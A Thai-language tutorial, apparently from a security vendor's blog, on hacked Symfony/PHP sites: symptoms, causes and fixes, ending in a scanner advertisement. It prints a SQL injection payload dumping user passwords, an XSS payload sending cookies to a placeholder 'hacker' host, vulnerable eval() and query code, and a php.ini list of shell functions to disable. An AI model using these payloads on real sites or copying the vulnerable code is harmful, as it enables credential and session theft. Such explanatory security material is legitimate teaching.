Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

เว็บไซต์ Symfony ถูกแฮ็ก: อาการ สาเหตุรากฐาน และวิธีรักษาความปลอดภัยแอปพลิเคชัน PHP

Symfony เป็นเฟรมเวิร์ก PHP ยอดนิยมที่ทำให้ผู้ใช้สร้างเว็บไซต์และแอปพลิเคชันเว็บ PHP ได้ง่ายขึ้น ในอดีตเคยมีเหตุการณ์ที่ Drupal ถูกกระทบจากข้อบกพร่องในเฟรมเวิร์ก Symfony ซึ่งนำไปสู่การที่เว็บไซต์ Symfony ถูกแฮ็ก แม้จะเป็นข้อบกพร่องของเฟรมเวิร์ก Symfony บ้างครั้ง แต่การพัฒนาที่ไม่ปลอดภัยก็ทำให้เว็บไซต์ PHP ของคุณรู้สึกอ่อนแอ ผ่านบทความนี้ คุณจะได้เรียนรู้ช่องโหว่สำคัญที่นำไปสู่การถูกแฮ็กของเว็บไซต์ Symfony และวิธีป้องกัน

ความนิยมของ Symfony มาจากการให้ชุดไลบรารี PHP ที่แยกต่างหากและใช้งานได้ ไลบรารีเหล่านี้เร่งการพัฒนาและทำให้ง่ายขึ้น อย่างไรก็ตาม การใช้เฟรมเวิร์ก Symfony เพียงอย่างเดียวไม่สามารถรักษาความปลอดภัยเว็บไซต์ PHP ของคุณได้ ตามข้อมูลจาก Contrast Security

อาการของเว็บไซต์ Symfony ถูกแฮ็ก

  • ตารางที่น่าสงสัยในฐานข้อมูล ผู้ใช้ไม่รู้จัก และไฟล์ไม่รู้จักบนระบบ อาจเป็นสัญญาณของ Symfony SQL Injection
  • ป็อปอัปและโฆษณาที่เปลี่ยนเส้นทางไปโดเมนน่าสงสัย อาจเกิดจาก Symfony Remote Code Execution
  • หากผู้ใช้ร้องเรียนว่าบัญชีถูกลบหรือข้อมูลถูกจัดการโดยไม่ได้รับการยืนยัน อาจเกิดจาก Symfony Cross-Site Request Forgery
  • เนื้อหาบ้าคลั่งปรากฏบนเว็บไซต์ อาจเกิดจาก Symfony Stored Cross-Site Scripting
  • ผลจากการถูกแฮ็กทั้งหมด เครื่องมือค้นหาจะเตือนผู้ใช้ไม่ให้เข้าชมเว็บไซต์ของคุณ

เว็บไซต์ Symfony ถูกแฮ็ก: อาการ สาเหตุรากฐาน และวิธีรักษาความปลอดภัยแอปพลิเคชัน PHP

สาเหตุของการถูกแฮ็กเว็บไซต์ Symfony

การถูกแฮ็ก Symfony: SQL Injection

Symfony SQL Injection เป็นการโจมตีที่มุ่งเป้าฐานข้อมูลของเว็บไซต์ การขาดการทำให้ข้อมูลนำเข้าปลอดภัย (sanitization) ทำให้เว็บไซต์รู้สึกอ่อนแอและนำไปสู่การถูกแฮ็ก ตัวอย่างโค้ดด้านล่าง:

 

<?php $query  = "SELECT id, name, inserted, size FROM products WHERE size = '$size'"; $result = odbc_exec($conn, $query); ?>

โค้ด PHP นี้ดูเหมือนจะเรียกใช้ SQL query ธรรมดา แต่โจมตีสามารถใช้มันเปิดเผยรหัสผ่านทั้งหมดจากฐานข้อมูลด้วยคำสั่ง SELECT SQL ได้ ข้อมูลนำเข้าให้ตัวแปร $size จะมีลักษณะประมาณนี้:

 

'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--

คำสั่งนี้เมื่อรันจะแสดงรหัสผ่านทั้งหมดจากตารางชื่อ user สัญลักษณ์ '—' ที่ท้ายคำสั่งจะทำให้โค้ดส่วนที่เหลือกลายเป็นคอมเมนต์เพื่อหลีกเลี่ยงข้อผิดพลาด นี่เป็นเพียงตัวอย่างเล็กน้อย โจมตีสามารถใช้ในหลายรูปแบบเพื่อจัดการ แก้ไข และแม้แต่ลบฐานข้อมูลของคุณ ในบางกรณี SQLi ยังสามารถใช้เพื่อรับ Reverse Shell ได้

การถูกแฮ็ก Symfony: Cross-Site Scripting

XSS เป็นช่องโหว่ที่พบบ่อย เกิดจากขาดการทำให้ข้อมูลนำเข้าปลอดภัยอย่างเหมาะสม ช่องโหว่นี้พบได้บ่อยในกล่องค้นหา กระดานข้อความ ฯลฯ เว็บไซต์ Symfony ที่ถูกแฮ็กจาก XSS สามารถถูกใช้โดยโจมตีเพื่อขโมยคุกกี้และเข้าครอบครอง Session ตัวอย่าง การสร้างคำค้นหาด้วยโค้ดต่อไปนี้สามารถให้โจมตีขโมยคุกกี้ของผู้ที่คลิกได้

 

"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>

ที่นี่ตัวอักษร '>' จะปิดแท็กก่อนหน้า ต่อมา constructor image() จะสร้างรูปภาพใหม่ในตัวแปร 'img' บรรทัดถัดไปจะกำหนด source ของรูปภาพ และในบรรทัดเดียวกัน เมธอด document.cookie จะถูกใช้เพื่อดึงคุกกี้เพื่อเข้าครอบครอง session

 

หาก XSS เป็นแบบ Stored หรือ Persistent จะอันตรายกว่า เพราะสคริปต์นี้จะขโมยคุกกี้อัตโนมัติเมื่อใครเปิดหน้าที่ติดเชื้อ ในขณะที่ Reflected XSS ใช้การโจมตีทางสังคม (Social Engineering) ไม่เพียงแค่ขโมยคุกกี้ Symfony ที่ถูกแฮ็กจาก XSS ยังสามารถใช้สำหรับการโจมตีฟิชชิงทุกรูปแบบได้! ต้องการความช่วยเหลือซ่อมแซมเว็บไซต์ Symfony ที่ถูกแฮ็ก? ทำความสะอาดเว็บไซต์ตอนนี้

 

การถูกแฮ็ก Symfony: Cross-Site Request Forgery

CSRF สามารถใช้โดยโจมตีเพื่อให้เหยื่อทำงานที่ไม่พึงประสงค์ เช่น ลบบัญชี จัดการข้อมูลผู้ใช้ ฯลฯ ตัวอย่าง เมื่อผู้ใช้ล็อกอินอยู่ในเว็บไซต์ของคุณ การเข้าชมหน้าที่ปลอมพิเศษอย่างด้านล่างอาจนำไปสู่การลบบัญชี

เว็บไซต์ Symfony ถูกแฮ็ก: อาการ สาเหตุรากฐาน และวิธีรักษาความปลอดภัยแอปพลิเคชัน PHP

หน้านี้จะใช้ค่า 'delete' ของ action เพื่อลบบัญชีผู้ใช้ แม้โจมตีจะใช้ CSRF โจมตีได้หลายแบบ แต่ไม่มีกลไกให้โจมตีทราบว่าการโจมตีสำเร็จหรือไม่

การถูกแฮ็ก Symfony: Remote Code Execution

Remote Code Execution เกิดขึ้นในเว็บไซต์ที่ใช้ Symfony เนื่องจากมาตรฐานการเขียนโค้ดที่ไม่ดี ปัญหาความปลอดภัยใหญ่ที่สุดในการโจมตีทั้งหมดคือ "เชื่อมั่นในข้อมูลนำเข้าของผู้ใช้" ตัวอย่าง การใช้ฟังก์ชัน eval() ใน PHP อย่างไม่เหมาะสมจะมีลักษณะดังนี้:

 

$myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = \$x;");

โค้ดดูง่ายๆ จะรับ arguments และใช้ eval เพื่อรันสตริงเป็นโค้ด PHP แต่เนื่องจากข้อมูลนำเข้าไม่ได้ถูกกรอง โจมตีสามารถส่งค่าเช่น /index.php?arg=1; phpinfo() ซึ่งจะนำไปสู่การรันโค้ดของฟังก์ชัน phpinfo()

เว็บไซต์ Symfony ถูกแฮ็ก: อาการ สาเหตุรากฐาน และวิธีรักษาความปลอดภัยแอปพลิเคชัน PHP

การถูกแฮ็ก Symfony: แนวทางการพัฒนาที่ปลอดภัย

  • เพื่อป้องกัน SQLi บนเว็บไซต์ Symfony ให้ใช้ Prepared Statements
  • เพื่อป้องกัน XSS ในเว็บไซต์ Symfony ให้ใช้ฟังก์ชัน htmlspecialchars() นำไปใช้ทุกครั้งที่ต้องแสดงข้อมูลนำเข้าของผู้ใช้เป็นเอาต์พุตบนเบราว์เซอร์
  • ใช้โทเค็นสุ่มซ่อนในหน้าเพื่อป้องกัน CSRF เช่น: <input type="hidden" name="csrf" value="<?php echo $_SESSION["token"]; ?>">
  • เพื่อป้องกัน RCE ให้ปิดฟังก์ชันอันตรายทั้งหมดผ่านคำสั่ง PHP ใน php.ini: disable_functions = "show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval"
  • สรุปคือ ช่องโหว่ส่วนใหญ่สามารถป้องกันได้โดยไม่เชื่อมั่นในข้อมูลนำเข้าของผู้ใช้ในเว็บไซต์ Symfony
  • ทำ Security Audit เต็มรูปแบบหากสงสัยว่ามีช่องโหว่ซ่อนอยู่บนเว็บไซต์

Astra

ด้วยมัลแวร์สแกนเนอร์ที่ขับเคลื่อนด้วย Machine Learning และไฟร์วอลล์อัจฉริยะ ความปลอดภัยเว็บไซต์ของคุณจะแข็งแกร่งขึ้น ทั้งหมดนี้มีราคาที่เข้าถึงได้ เนื่องจากแผนยืดหยุ่นรองรับแม้เว็บไซต์ขนาดเล็ก ลอง Astra Web Protection Free Trial ตอนนี้!